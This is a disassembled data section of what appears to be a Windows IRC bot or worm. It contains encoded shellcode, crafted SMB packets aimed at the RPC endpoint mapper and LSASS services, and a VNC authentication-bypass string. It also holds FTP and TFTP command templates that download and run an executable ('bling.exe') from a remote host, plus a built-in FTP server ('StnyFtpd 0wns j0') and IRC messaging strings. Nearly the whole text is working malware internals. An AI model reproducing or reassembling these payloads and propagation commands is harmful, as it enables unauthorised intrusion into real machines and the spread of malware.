dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
asc_432940: ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
unicode 0, <\\>,0
align 4
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .text:0040E235o
; .text:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:0040DF8Do
align 10h
dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_432AF0 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_0 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_0 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_0 db ' LM 0.12',0
align 4
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_3: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
dword_433408 dd 6EB06EBh, 0 ; DATA XREF: sub_40E3F1+177o
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3F1+27o
align 4
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: .text:0040EC29r
; sub_41B55B+24r ...
align 10h
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EF1C+130o
; sub_41A1B1+21o
aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F108+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F3AA+5B9o
align 4
dword_434798 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
; DATA XREF: sub_40F3AA+568o
; sub_412197+3ACo
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F3AA+4F7o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo
align 10h
aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F3AA+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
aI_0: ; DATA XREF: sub_40F3AA+35Eo
; .data:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
aA_0: ; DATA XREF: sub_40F3AA+327o
; .data:004387F4o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
align 4
off_43492C dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
align 4
aUser_1 db 'USER',0 ; DATA XREF: sub_40F3AA+262o
align 4
aSS_3 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
align 4
unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434C78: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_9 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_4 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
aS_2 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm_0 db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
